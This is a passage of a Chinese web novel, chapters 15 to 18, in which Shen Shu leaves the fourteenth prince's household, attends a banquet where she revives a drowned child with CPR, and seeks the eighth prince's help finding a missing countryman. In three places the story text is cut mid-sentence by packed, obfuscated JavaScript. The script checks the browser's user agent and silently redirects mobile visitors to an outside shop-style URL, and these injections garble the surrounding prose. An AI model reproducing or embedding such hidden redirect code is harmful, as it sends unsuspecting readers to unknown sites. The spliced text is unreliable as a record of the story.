先把住处找好,到时候再提搬出去的事情。 15. 第 15 章 牙人的办事效率可真高,很快就找到了几处可供选择的宅院。 京城大居不易,黄金百两买一处小宅院肯定是够。关键是钱不能都拿来买房,还得买试验材料和设备。 所以沈姝没打算买房,只想先租个院子落脚。她办事也很爽利,看过几个宅院后很快选中其中一个,当天就先缴了一个月租金。 接下来就想趁着前几天的挑明拒绝去跟十四阿哥提搬出去的事情,拒绝的话都已经说出口了,再提离开更好张嘴。 说实话在府上,沈姝连去哪里找十四阿哥都不知道,之前都是他主动来找她。 屋里的这两个丫鬟就甭指望了,她们都是福晋的人,能帮忙才怪。 所以只能自己在大门口附近晃悠着,守株待兔。还好运气不错,很快就看到了十四阿哥。 沈姝迎上前去说道:“十四爷,您回来了。” “阿姝……” 看见从一侧忽然走出来的沈姝,十四阿哥心里忽的一喜,她明显就是在这里等着自己。 难道是想通了,愿意了? 他面带喜色,语气微微有些急促,“你在这里等我,是有什么事情吗?” “嗯。” 沈姝点点头,然后不再说话,这事还没有急到非要在大门口说的地步。 十四阿哥见状想要伸手去拉沈姝的手,却被她侧身躲开。 他原本露出喜色的眼神顿时黯淡下来,接着说道:“那我们回去说。” 后面的六子见状真是替自己主子心疼,他们十四爷什么时候在女人面前如此委屈求全过? 沈小姐可真是,一点儿都不知道心疼他们爷。亏得十四爷对她这么好,简直是有求必应! 当然这话六子只敢在心里嘀咕可不敢说出来,他见识过沈姝的不好惹,十四爷又纵着她,惹她生气倒霉的估计还是他自己。 回到房间后,沈姝直接说道:“十四爷,民女再留在府中也不太合适,所以想搬出去……” 一听她说想要搬出去,十四阿哥立刻就生气了,“不行,我不允许!” 这次沈姝没有刻意回避而是迎上十四阿哥的怒容,只是静静的看着他,看他能说出来点儿什么。 对于眼前这个人,现在她已经有所了解。 总的来说,他并不是那种飞扬跋扈的恶少,而是有些道德底线的人。 这种人,是可以讲道理的类型。 而十四阿哥被沈姝这么看着,没有再继续强硬下去,而是想要试图说服她。 “阿姝,我只是担心你,女子孤身在外,难免多有不便。 你现在不肯接受我,我不会强迫你什么。你就安心的住在这里,就当是做客,好不好?” 这番话说的是很真切,可这府中不仅有十四阿哥这个男主人,还有福晋这个女主人。 沈姝不是这么容易被感动的人,她更擅长分析利弊得失。 事实就是她住在这里,并不舒服。 对此,她并不避讳。 不然,离开的理由怎么找? 既然如此,沈姝茶里茶气的道出了自己被苛待一事。 “十四爷,您的话民女信,您的恩情民女记得,所以民女不愿让您为难。 福晋出身高贵,又是皇上赐婚,是府中名正言顺的女主人,执掌中馈。作为府中的客人,民女本应与尊敬福晋与之和睦共处。 可受了几日的残羹冷炙之后,倒觉得不如搬出去,这么一来各自都能落得个清净和睦。” 这是沈姝第一次告状,十四阿哥连调查都没调查一下,直接就信了。 他是生气,可从来没有想要因此而虐待她的意思! 这事必然是福晋做的,就像沈姝说的,福晋主持中馈,这事若是没有她的授意,谁敢如此? 十四阿哥立刻保证道:“阿姝,这件事情我真的不知道,不过你放心,以后必不会让你再受这种委屈!” 沈姝微微叹气,看着十四阿哥继续讲道理,“十四爷,民女并不希望您因此与福晋不睦,因为这对您没有任何好处。 福晋若是受了委屈,她的族人知道了或许会对您有意见,事情若是被皇上知道,必然会对您印象不佳。 况且此事乃因民女而起,在任何人的眼中都必然是民女的罪过。” 她可不希望掺和什么宅斗,福晋有整个娘家做支撑,她有什么? 到时候肯定是十四阿哥找福晋的事,福晋找她的事,如此循环往复,岂不是要变成夹心饼干? 如此蠢事,沈姝才不会干,这根本不是她的赛道! 道理已经讲的很清楚了,希望十四阿哥能听明白,不要做害人害己的蠢事。 十四阿哥是能听得进去话的人,因为这番话实在是条理清晰。很显然,沈姝说的是极有可能会发生的事情。 原本在他看来,福晋善妒只是微不足道的家事。可被这么一说,就变了味儿。 可十四阿哥不想放沈姝离开,又思及木兰秋弥将至,自己已经被点去伴驾。到时候若是她真被欺负了,确实是鞭长莫及。 沉默片刻之后,十四阿哥做出了一定的让步,“既然你实在不愿留在府中,那暂且住在郊外的庄子上可好? 六子就留在你身边任你差遣,必不让你再被福晋欺负。” 顿了顿又道:“过几日我要随皇阿玛秋猎,不在府中。不过你放心,八哥他们留守京城未伴驾。 我跟他们交代一声,让八福晋她们多邀你过府说说话,也好散散心。上次你帮了八哥的忙,他早就说想要谢谢你了。” 十四阿哥觉得这番安排应该足够妥当,沈姝应该不能再找出什么拒绝的理由了吧? 沈姝还以为十四阿哥会说什么诸如让她暂且忍耐一番的话,因为福晋毕竟是皇上赐婚。她料定他不可能因为自己而过分得罪福晋,毕竟他连让她入旗籍的事情都做不了主。 结果他居然给出了这么一个折中的方案,可她真的想搬出去啊! 见沈姝没有即刻应下,十四阿哥怕她再找出什么理由,抢先说道:“阿姝,你莫要避我如蛇蝎,难道我在你心中就不堪至此?” 这话说的,直接把沈姝还没找好的借口给堵了回去。 话说到这份上,还能怎样? 再怎么说,他也是她的救命恩人…… 所以只能浪费那一个月的租金,“那就依十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782352|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四爷您的。” 见沈姝终于点头应下,十四阿哥松了口气。他决定了,待秋猎回来就去外面买个宅子让她住着。 这样福晋的手再长也伸不过去! 于是沈姝终于从十四阿哥府搬出来,住进了京郊的庄子上。 这样也好,设备材料都是现成的,方便继续合成染料。 五日后,进入八月份,十四阿哥伴驾临行前来找沈姝话别。 感觉所谓的秋猎大概相当于后世的秋游,不知道被带着一起过去的皇子是不是都是那种受宠的,沈姝好奇的问了一句,“除了八爷,还有谁留守京城啊?” 十四阿哥说道:“三哥、四哥还有八哥他们都没有伴驾,这次除了太子和大哥,都是像我这般年纪稍小点儿的阿哥们一起随行。” 然后他又不忘交代道:“若是在这期间有什么事情需要帮忙,你可以差六子去找八哥。过几日,八福晋应该会邀请你过府参加宴会。” 这次秋狩,皇上着令四阿哥与八阿哥二人负责处理日常事务。 让八阿哥帮忙照看一下沈姝,十四阿哥很放心。 其实主要是想让八阿哥的福晋多带带沈姝,也好让她在其他贵妇跟前露露脸,涨涨身份地位。 八阿哥的面子,留京的人之中,谁能不给呢? “嗯,十四爷您出门在外也要保重。” 沈姝不置可否的点了点头,顺道关心了十四阿哥一句。 “我会的。” 十四阿哥也点了点头,而后把外面的六子喊了进来,当面交代。 “六子,你以后跟着沈小姐。 福晋那边我已经交代过,她的话,你不用管,只用听沈小姐的。” 这话是说给六子听的,也是说给沈姝听的,就是希望她能放心,相信自己的保证。 六子满口应下,“爷,您放心,奴才一定会伺候好沈小姐!” 交代完之后,十四阿哥没有多停留,他还得回去准备出行的东西。 六子这次过来,把沈姝故意留在十四阿哥府里的首饰、布料等都带过来了。 因为之前沈姝搬出来的时候只是简单收拾了几件换洗的衣服,其他什么都没有带。 所以十四阿哥就让六子直接把东西全都给送了过来,不仅如此还又添置了一些料子和首饰。 虽然他现在如同十三阿哥那般,也没有爵位。但因受宠,每年能从内务府领到额外的份例,手头还算宽裕。 对于沈姝,他也愿意花钱博得欢心。 六子搬完东西之后不忘替十四阿哥这个主子多说些好话,“您看我们爷对您多上心,来之前就叮嘱了奴才好几遍,这些东西都要带上。 以后啊,您要是缺什么少什么了,可一定要跟奴才说。 伺候不好您,十四爷可是要罚奴才的!” 这个六子,话忒多。 再多听一会儿,脑仁疼。 沈姝摆了摆手,“你先出去吧。” 就这样,十四阿哥暂时离京后,沈姝在庄子里的日子很清静。 整日里就做做试验,在附近溜达溜达。 直到八福晋差人送来帖子,邀请她前去赴宴。 16. 第 16 章 八阿哥的福晋郭络罗氏是安亲王岳乐的外孙女,能被封为亲王的,必定是宗室,所以八福晋的出身很高。 对于八阿哥嘱咐的邀请沈姝这个连旗籍都没有的汉女的事情,八福晋心里很是不乐意。邀请身份如此卑贱之人,她都觉得跌份儿! 若不是八阿哥极力言明沈姝是十四阿哥中意的女人,这事是十四阿哥恳求他帮忙的,八福晋根本就不想发出这张邀请的帖子。 既然是宴会,当然不可能只邀请一个人,而是还要邀请其他贵妇。 比如,其他阿哥们的福晋,这其中就包括十四阿哥的福晋。 所以既邀请沈姝又邀请十四福晋,这摆明了就是得罪人的事。 但八阿哥唠叨了那么多,八福晋只得去做这个坏人。 不过她也不怕得罪十四福晋,毕竟十四福晋完颜氏的出身不如她,再加上八阿哥的风头,她怕谁? 然而沈姝根本就不想应邀参加这种宴会,想来就知道除了她之外,其他受邀之人必定都是有出身的,就她一个草民。 但第一次受邀不去会得罪人,目前她还是想要站队八阿哥和十四阿哥的,所以必须得去。 不同于其他贵妇都是坐着轿子去的,沈姝依然是乘坐马车。因为从京郊进城还是有些距离的,明显马车更快些。 再说,她估计自己也不可能因为随大流的坐轿子而被其他贵妇们高看一眼。 至于坐马车是不是会被看不起? 沈姝表示无所谓,她不在乎这个,能被邀请已经足以证明她的价值。 当然这个价值是对八阿哥他们而言,而非是十四福晋。 下了马车后,迎着府中的下人暗中打量的目光,沈姝带着六子抬腿进了八阿哥府。 此时大厅里已经有早到的贵妇,除了十四福晋,沈姝一个都不认识。 而这些人见她进来,都齐齐的看向她,那眼神有好奇、有不屑、有嫉恨…… 总而言之一句话,沈姝觉得她们的眼神仿佛是在围观动物园里的动物。 而显然,她就是那个动物。 “你就是沈小姐?” 八福晋上下打量着沈姝,心道怪不得十四阿哥如此着迷,这女人确实生的比十四福晋更貌美。 “是。民女沈姝见过八福晋。” 沈姝说着开始行礼。 八福晋又问道:“听八爷说你制作出了紫色染料,故而受到皇上的赏赐?” 沈姝再次点头,八福晋随即夸了一句,“倒是心灵手巧。” 接着她介绍了一番在场的人,大福晋、四福晋、五福晋、九福晋、十福晋等,全都是福晋,连一个侧福晋都没有。 看来今天这宴会是福晋荟萃,沈姝不得不一一行礼。 其他福晋们面上还算过得去,除了十四福晋。因为沈姝,她已经被十四阿哥斥责过两次,心里恼恨不已。 见沈姝行礼,十四福晋冷笑一声并不受礼,“我可不敢委屈你行礼,省得十四爷又心疼不已。” 这话一出,其他人都是一副看热闹的表情。 被酸几句也没什么,沈姝神情淡淡的说道:“十四爷体恤弱小,民女感激不尽。” 被这么不软不硬的顶了回来,十四福晋还想再说什么,八福晋及时开了口。 “后院桂花正浓,咱们不如移步前去赏玩。” 即便是不喜沈姝,还有点儿同情十四福晋,她也不能让这两个人当场吵起来。 凌普的事情,八福晋听八阿哥说了。 这次八阿哥能暂任内务府总管,还有沈姝的功劳。所以她多少也要顾及一下沈姝,这并不仅仅只是十四阿哥的面子。 其他人,包括十四福晋,听八福晋这么说,都移步前往后花园。 再怎么着,也不能不给主家面子。 十四福晋窝火的很,早在来之前,也就是接到帖子的时候,八福晋的贴身嬷嬷就提前告诉她会邀请沈姝的事情。 理由是沈姝受贡献紫色染料,受到了皇上的嘉奖。 十四福晋才不信八福晋这个眼高于顶的人会因此而邀请沈姝这贱人,肯定是因为十四阿哥的缘故! 但确实因为嘉奖的事情,即便是嫉恨,她也不敢轻易作践。 就比如现在,也只能生生闷气,跟其他相好的福晋暗地里诋毁沈姝。 八阿哥府的后花园面积不算大,景致却是不错。亭台水榭,桂花飘香,凉亭里已经摆好了瓜果点心。 落座后,各位福晋都在闲谈些趣事或家事。沈姝搭不上话,也不想故意讨好谁,而且对这些家长里短也没有兴趣。 毕竟她在这里连个家都没有! 当然,也没有人主动找她闲聊。 在这个时代,虽然男人可以娶妻纳妾,但这些妻妾之间可是阶级矛盾。 所以沈姝觉得自己在此受冷落是必然的,她或许是这里所有福晋们的假想敌! 八福晋瞥了沈姝一眼,见她丝毫没有怯懦的举止,就这么自顾自的坐着,居然给人一种落落大方的感觉。 这女人,确实沉得住气,看样子就不太好打发。 八福晋不由得更加同情十四福晋了! 同为正室,哪个福晋会喜欢家里进了这种狐媚子? 见八福晋瞥向自己,沈姝故意回了她一个淡淡的笑脸。 不仅是对她,所有暗中看过来的目光,只要沈姝发现了,都会以一副领导视察的表情微微颔首致意。 无他,就是无聊打发时间。 而这些被沈姝致意过的福晋们,都感觉哪里怪怪的,但好像又说不出来。 不过折腾了一遍之后,就很少再有人暗中窥伺了。甚至都没有人再跟她对视了,甚是无趣! 就在沈姝无聊到想要站起活动一下的时候,远处跑过来一个慌慌张张的小丫鬟。 这丫鬟几乎是踉跄着跪到了四福晋跟前,打着结巴说道:“福、福晋,不好了,小格格她……她溺水了!” “什么?” 四福晋愣了一下才猛的站起身来,因为起身太急,还差点儿摔倒。 “快、快带我去看看……” 这次赴宴她带过来的是娘家的小侄女,因为自己所生的儿子数年前早夭,膝下无子无女,故而才会养着娘家的这个侄女聊以解闷。 小侄女年方四岁,却是已经在四阿哥府住了四年。因为这孩子的生母难产而死,所以一出生就没了母亲。 再加上她的生母只是一贱妾,四福晋心生怜悯,才会抱养在膝下。可以说,这个小侄女几乎等同于她的养女。 现在听说养女溺水,如何能不心急?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782353|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 眼见四福晋匆忙离席,其他福晋们也随之站起身来跟了上去。 尤其是八福晋,眉头微皱,好好的宴会,怎么就有人溺水了呢? 真是晦气! 片刻间,凉亭里已经没了人,沈姝也不慌不忙的缀在后面跟了过去。 看着前面的福晋们踩着花盆底,被婢女们扶着,颤颤巍巍的想走也走不快的样子。 沈姝甚至都替她们急的慌,这可真是连看热闹都赶不上热乎的! 大约小半盏茶的时间,才到了地方。 前面的福晋们已经围了上去,后面的沈姝从包围圈的缝隙中看到四福晋跪蹲在荷花池旁,抱着怀中的一个小姑娘,凄声呼唤。 小姑娘脸色惨白双目紧闭,任凭怎么喊也一动不动,头发还湿哒哒的正滴着水。 八福晋还没走就近就已经吩咐下人赶紧去请太医,然后又俯首去安慰四福晋。 “四嫂,太医很快就来了……” 话是这么说,但无论是她还是其他福晋,都觉得看样子这人怕是已经不行了。 沈姝见状挤了进来,她记得溺水的最佳抢救时间就只有几分钟,等太医过来黄花菜都凉透了。 而且四福晋这样只是抱着孩子乱喊,连心肺复苏都不做,有什么用啊! 她见不得这情景,总不能见死不救,何况还是个小孩子。 “四福晋,不如让民女来试试,这孩子怕是等不到太医来了。” 听到耳旁的声音,四福晋抬起焦急的面容,看了一眼沈姝又看了看怀里的孩子,不知道该不该信她。 此时十四福晋厉声呵斥,“沈氏,你莫要乱来逞能!可能保证一定能救活格格,若是格格有个三长两短……” 咋呼什么啊,谁能保证就一定能救活? 太医要是能保证,那让太医来好了! 十四福晋的话还没有说完,就被沈姝不耐烦的打断了,“不能保证,不愿意试那就等太医吧!” 其他人,包括八福晋都不敢说让沈姝试试的话。因为她们毕竟不是当事人,做不了这主,而且也劝不得。 这要是救活了,皆大欢喜,要是救不活,可就…… 眼见沈姝已经退了一步,马上就要转身,四福晋一咬牙直接恳求道:“劳烦沈小姐一试,若是不成,也绝无怨言!” 她也知道,等太医还不知道要多久,现在只能死马当活马医。 再说如果太医真的什么都能救,那她的儿子也不会早夭…… “好。” 能说出来这番话,这位四福晋人还算是通情达理,沈姝挽起袖子直接说道:“把人放平,民女看看。” 四福晋闻言把孩子放在地上,沈姝上前先是清理了孩子的口鼻,而后跪下来开始做心肺复苏。 她会的急救措施,除了心肺复苏就是海姆立克急救法。这些是后世经常宣传的常用急救方式,若是不成,那也无法。 众人只见沈姝在孩子胸口按来按去,还低下头对着孩子的嘴吹气,看起来极为怪异。 从未见过如此救人的方法! 但四福晋不喊停,谁也不敢吭声,都用帕子遮着嘴看着。 随着沈姝的动作,躺在地上的小女孩依旧一动不动。 似乎她的作为没有起到任何作用…… 17. 第 17 章 已经持续了大约两盏茶的功夫,太医还没有过来。别说是四福晋,就连沈姝都差点儿想要放弃了。 据说心肺复苏最多也就做半个小时,再多已经没有太大的意义。 八福晋已经看不下去了,眼前这一幕简直是荒谬至极! 她扭头呵斥仆从,“狗奴才,还不快去催催太医!” 沈姝打算再来一个循环就住手,然而就在停下之前,小女孩忽然咳嗽了一声,吐出来一口水。 人虽然还没有睁开眼,但眼皮子微微在动。伸手探了一下她的鼻息,沈姝抬头朝四福晋说道:“活过来了,剩下的让太医来吧。” 说着她站起身来,而四福晋见状连忙伸手抱起了孩子。 此时孩子在她怀中缓缓睁开了眼睛,几不可闻的唤了一声,“姨母……” “好孩子!” 四福晋流下了欣喜若狂的泪水,可算是活过来了啊! 八福晋见状连忙上前搀扶,“太好了四嫂,赶紧把孩子抱屋里吧!” 一旁的婢女想过来接过孩子,四福晋没有松手,而是抱着孩子站起来先朝沈姝道谢,“多谢沈小姐救命之恩。” “福晋客气了,举手之劳。” 沈姝微微点头,而后催促了一句,“孩子要紧,福晋赶紧带着回屋吧。” 当然是孩子要紧,此时四福晋也没有过多客套。 随着四福晋起身,其他福晋们又跟了上去。宴会是已经继续不下去了,可现在谁也不会提前离开,至少也得等太医看过之后才行。 不过沈姝是没有兴趣再呆下去,估计这时候八福晋也没空理会她,于是直接跟一不知名的仆从说了一句,就提前告辞了。 仆从目瞪口呆的看着她离开,哪里有人告辞不跟主人打招呼,而是直接告诉下人的? 可来者是客,作为下人,客人要走,也不能强行去拦。 太医终于姗姗来迟,把过脉之后开了一副药,说是孩子并无大碍,需静养些时日。 送走太医之后,四福晋才顾得上环视四周,发现不见沈姝的身影。 于是便问道:“沈小姐可是还在?” 八福晋随之看了一圈,也没有发现沈姝,此时才有仆从上前回道:“禀福晋,沈小姐之前已经回去了。” “回去了?” 八福晋的声调有点儿高,显然是也没有想到沈姝居然不打声招呼就直接走了。 “真是贱民出身,不懂礼数!” 这话当然是十四福晋说的,不过此时没有人附和她。 现在这位贱民可是当众救了四福晋的侄女,懂不懂礼数那不得看四福晋和八福晋两位的态度? 果然,四福晋看都没看十四福晋一眼,淡淡的说道:“想是方才累到了沈小姐,明日我便亲自登门拜访感谢。” 八福晋瞥了十四福晋一眼,觉得她一副蠢像,谁不知道她在争风吃醋! 沈姝是不懂礼数,可这话是能当众说出来的吗? 八福晋笑着说了一句,“这位沈小姐,果然是有点儿奇异之才的。” 十四福晋讨了个没趣,很快告辞离开。 宴会提前结束,剩下的福晋们也都随之散场离开。 回到府中后,四福晋想着今日这事得知会四阿哥。 毕竟十四阿哥是四阿哥一母同胞的亲弟弟,而沈姝又是十四阿哥的人。 “爷,今日妾身去八弟府中做客时淑儿不慎溺水,幸得在十四弟府中的沈小姐出手相救,不然淑儿这次怕是凶多吉少。” 原本正临窗坐着拿着本书边翻边听的四阿哥一听到“沈小姐”三个字,立刻放下手中的书露出饶有兴趣的表情,“哦,是吗?” 见四阿哥抬头看向自己,四福晋还以为他不信,又接着说道:“若非亲眼所见,妾身也是不信的,她施救的方法很是、很是奇特!” 四阿哥则是随之追问:“如何个奇特法?” “妾身也说不好……” 四福晋觉得真的是闻所未闻,又回想了一遍方才说道:“就是用双手按压胸部,然后再、再口对口的渡气,很是惊世骇俗……” 顿了顿又道:“说来也是神奇,原本淑儿都没气了,可没想到这么一折腾,居然真的又活过来了!” “竟是如此神奇?” 四阿哥不由得想起来之前沈姝制作紫色染料的时候,一堆与紫色毫无关联的杂物居然真的能变成紫色。 他相信福晋的话,那女子确实是有某种非同寻常的能力。 听完之后四阿哥才记起来关心一下福晋的侄女,“淑儿现在如何,可是无大碍了?” 说到小侄女,四福晋笑的很是温和,“已经服过药,太医说休息些时日便可大好。” 然后又说起了正事,“妾身明日想携礼亲自登门以示感谢,只是听说这位沈小姐并没有住在十四弟府上,而是暂居在十四弟郊外的庄子里,爷您觉得可是妥当?” 这事还是问了八福晋才知道,之所以跟四阿哥说这个,是因为搞不清楚沈姝现在到底是个什么身份? 若她是十四阿哥的女人,按说是同时应该去拜谢十四福晋。 若不是,那就直接去庄子上即可。 四福晋这么问,主要是想听听四阿哥的意见。她不想刻意去得罪十四福晋这个妯娌,但也不想让沈姝心里不舒服。 宴会上十四福晋对沈姝的各种看不上,她可是都看见了。 沈姝从十四阿哥府里搬出来了? 四阿哥略一思索便猜到了原因,应该是十四福晋善妒。 否则沈姝怎么可能会搬出来住? 想到这里他直接说道:“沈姑娘与十四弟还未礼成,你还是直接当面谢她更合适。” 听这话音儿,感觉四阿哥似乎认识沈姝,四福晋便多问了一句,“爷您认识沈小姐?” “嗯。” 四阿哥面带微笑的点点头,说了一大番话。 “前些日子查办的染料案,她就是事主。不过因为查案一事,她对我似乎有些误解。 此番竟然能不计前嫌的施以援手,着实是宅心仁厚。 既然她独自暂住在庄子上,想必平日里也没个伴儿,你若是得闲,也可邀请她过府做客。” 没有想到四阿哥居然直接提出来可以邀人上门,四福晋还有些惊讶。 不过她没有多想,因为听话音儿是四阿哥因为查案得罪过沈姝,应该是想趁机冰释前嫌。 这也正常,因为给皇上办事,四阿哥得罪的人可真不少,不止这一个! 他与十四阿哥这个亲弟弟的关系也不怎么好,说不定通过沈姝可以有所缓和。 得了四阿哥的准话,次日一大早,四福晋就带着厚礼前去致谢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782354|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈姝有料到四福晋应该会派人过来表示一下谢意,只是没想到她会亲自过来,还来的这么快。 “见过福晋。” 她刚想行礼就被被拦住了。 “免礼免礼。” 四福晋是来表示感谢的,当然不可能受沈姝这一礼。 “沈小姐,昨日之事真是感激不尽。要不是你,我的淑儿怕是……” 现在一提起来昨天的事情,四福晋还有些后怕。 沈姝笑了笑,“举手之劳罢了。说起来应该谢谢福晋您自己,是您愿意民女一试。” 这话听起来有点儿新奇,四福晋觉得沈姝与别的女子真的很不一样。 她说话做事都与众不同,但并不令人讨厌。 “沈小姐一看就是飒爽之人,待淑儿安好之后我可得让她亲自面谢一番。” 四福晋再次表达谢意之后想要闲聊几句,于是开始夸赞沈姝。 “听八福晋说你还能制作出让皇上都龙颜大悦的紫色染料,当真是心灵手巧!” “福晋过奖了。” 沈姝觉得四福晋似乎比十四福晋好说话,不过这很正常。也许十四福晋也很好说话,只是不是对她而已。 见沈姝似乎不太热络的样子,四福晋有点儿为难,难道是因为四阿哥说的那样? 可即便如此,也得没话找话的多聊一会儿,所以开始找话闲聊,“你有如此手艺,家中可是开染房的?” 沈姝摇头坦言,“不过现在倒是想开个染房,只是一时半会儿的还没找到合适的人手。” “开染房?” 四福晋有些惊讶,不太明白沈姝一个女子为什么想要经商。 “嗯。” 沈姝点点头,看了四福晋的反应,随即问道:“福晋是觉得有什么不妥吗?” 因为四阿哥说沈姝还没有进门成为十四阿哥的女人,所以四福晋也不好直接说经商会影响到十四阿哥的名声。 她委婉的说道:“只是觉得女子经商很是罕见,而且颇为辛苦。像我们旗人对经商一事大都不太擅长,这些事情都有内务府来处置。” “我比较喜欢赚钱,人生在世,衣食住行哪个不需要钱?” 不想探究四福晋到底想说什么,沈姝觉得这与自己无关。对于她来说,伸手向别人要钱的难度可比赚钱更大。 听了沈姝这话,四福晋不知道该说什么好,难道是十四阿哥不给她钱吗? 应该不至于吧! 她不得不劝了一句,“可这是男子应操心的事,咱们女子只需相夫教子即可。” 看来聊天这种事也是话不投机难以为继,沈姝笑笑,“相比内宅,我更喜欢外面的一方天地。” 四福晋:“……” 最终她略带尴尬的笑了笑,“沈小姐的想法很是与众不同……” 话是这么说,心里想的却是:这般的女子,真的适合十四阿哥吗? 又多坐了一会儿,四福晋便起身告辞。 她已经感觉出来沈姝不是那种寻常女子,与她们这些福晋根本不是一路人。 虽然难以聊的来,但还不至于讨厌,就是感觉有点儿好奇,好奇她以后会怎么做? 想到四阿哥的交代,四福晋觉得过些天就邀请她过府做客。 不过没等四福晋邀请,几日后沈姝不得不主动上门相求。 18. 第 18 章 “小姐,今儿个奴才回府时碰见两个人蹲在门口的人。 他们说是要找您,还说是您的山西同乡。所以就给带过来了,您看要不要见见?” 听六子这么说,沈姝立刻知道是谁了。 她的山西同乡也就只有之前在茶棚里见过的那三个人,于是说道:“让他们进来吧。” 被六子带过来的两个人一看到沈姝就“噗通”一声跪倒在地哀求道:“沈小姐,可算是找到您了!求您救救我们大哥吧,我们给您磕头了!” 说着两个人“砰砰砰”的就磕起了头,见状沈姝连忙让六子去拉住他们,“赶紧起来,快说说到底是怎么回事?” 任凭六子怎么拉,他们就是跪在地上不肯起来,其中一人抬起头开始叙说。 “几天前大哥他执意要去敲登闻鼓,还不让我们两个一起过去,怕三个人都被打了。 结果大哥敲过之后,就被差官领了进去,约莫着半个时辰后就被两个差官拖着丢了出来。 听大哥说他被打了一百大板,也跟里面的老爷说了要控告噶礼,还交了状子,但里面的老爷打完了人直接把他轰了出来。 我们两个就把大哥背到了一处医馆医治,原本好好的,可大哥突然就不见了! 医馆里的人说是大哥自己出去没回来,人去哪里了他们也不知道。 我们、我们真的是到处都找了,可就是找不到人! 我们怀疑这一定是噶礼有意报复,否则一个大活人,怎么能走丢了? 沈小姐,求求您帮忙我们吧,我们实在是走投无路了啊!” 说着,两个人又开始磕头。 “砰砰砰”的磕头声回荡在眼前,磕的沈姝很是不舒服,她见不得这种场面,不禁呵斥了一句,“别再磕了,我没有说不帮!” “谢谢、谢谢沈小姐……” 听了这话两个人才停了下来,现在的沈姝就是他们唯一能抓住的救命稻草。 一旁的六子见状,心里很是后悔把这两人带过来。 这不是没事找事吗? 按他们说的,是噶礼的报复,那可是噶大人啊! 别说是十四阿哥不在,就是在,这事要怎么帮? 怪不得来的路上无论他怎么问,这两个人都不肯开口说是什么事! 六子直接想要推了这事,于是主动说道:“小姐,京城这么大,想要找个人可是不容易……” 知道六子想说什么,但沈姝不管他怎么想。 这事,她必须得帮! 问题是应该怎么帮? 单凭自己的能力,肯定是不行,所以需要外援。 十四阿哥不在,沈姝能想到的求助对象就是八阿哥。 不仅是因为十四阿哥与八阿哥属于同一战队的,还因为自己也算是帮过八阿哥的忙。 所以应该去求八阿哥帮忙,想到这里沈姝直接说道:“你们两个,先在这里等着。” 然后又转而朝六子说道:“小六哥,麻烦跟我去一趟八爷府上吧。” 六子苦着一张脸一点儿都不想去,继续劝阻,“小姐,这事您看是不是得等十四爷回来再说比较合适?” “那我自己去。” 等十四阿哥回来,那要到什么时候? 沈姝一句话就堵死了六子,自顾自的转身就走。 六子可不敢让她自己一个人去,不得不跟了上去。 登门拜访连帖子都没有提前下,不过正好八阿哥在府上。 “沈小姐,你怎么过来了,可是有什么事情?” 伴驾狩猎之前,十四阿哥说过让自己照顾一下他的女人,所以见沈姝主动找来,八阿哥觉得必定是有事。 沈姝点了点头,“是有件事想恳请八爷您帮忙。” “沈小姐请讲。” 八阿哥比较好奇到底是什么事情。 沈姝避重就轻的说出了请求,“民女是山西人氏,今日有两个同乡找上门来说同行之人在京城不慎走丢了。 因顾念同乡之情,所以民女想求八爷您帮忙找找。” 她并没有提起那两个人的怀疑,此时必定不能言明与噶礼有关。 否则八阿哥应该是不会帮忙,毕竟当初十四阿哥已经说过噶礼的背景。 连十四阿哥都不愿意惹的人,难道八阿哥会愿意? 所以现在沈姝只是想先找到丁炳先人在哪里,至于找到后怎么救出来,那是另外一件事,到时候再想其他办法。 八阿哥以助人为乐出名,自然不可能拒绝如此简单的请求,便直接应下了。 “找人这种小事,何需沈小姐你亲自过来,差六子来说一声即可。” 沈姝笑了笑,“如此便多谢八爷了。” 八阿哥笑着说道:“客气了,若说谢,也应该是我谢你才是。染料的事情,真是应该多谢谢你。 我听十四弟说想请赐你入旗籍,若是机会得当我也会跟皇阿玛提上几句。” “多谢八爷。” 沈姝再次道谢。 既然八阿哥已经答应帮忙,接下来就是等了。 回去之后沈姝沈姝交代丁炳先的两个族弟,“我已经请求八爷帮忙找人,不过你们要切记,莫要提什么噶礼或告御状的事情。 我们现在要做的是先找到人,若是有人问话,你们就直接说人是在哪里丢的就行,其他的不要多说。” 这两个人倒也识趣,没有问为什么要这样,而是直接点头应道:“我们听您的安排,不会乱说话。” 然后沈姝看了一眼六子,因为他是知情人。 六子不傻,知道沈姝是什么意思,他直接给跪下了,“哎呦小姐呀,您这……这让奴才怎么办是好啊?” “确实是让你为难了。” 若是之前这两个同乡不提怀疑噶礼一事,倒还好说,可他们已经当着六子的面说了出来。 沈姝知道六子不想她惹事,可她做不到。 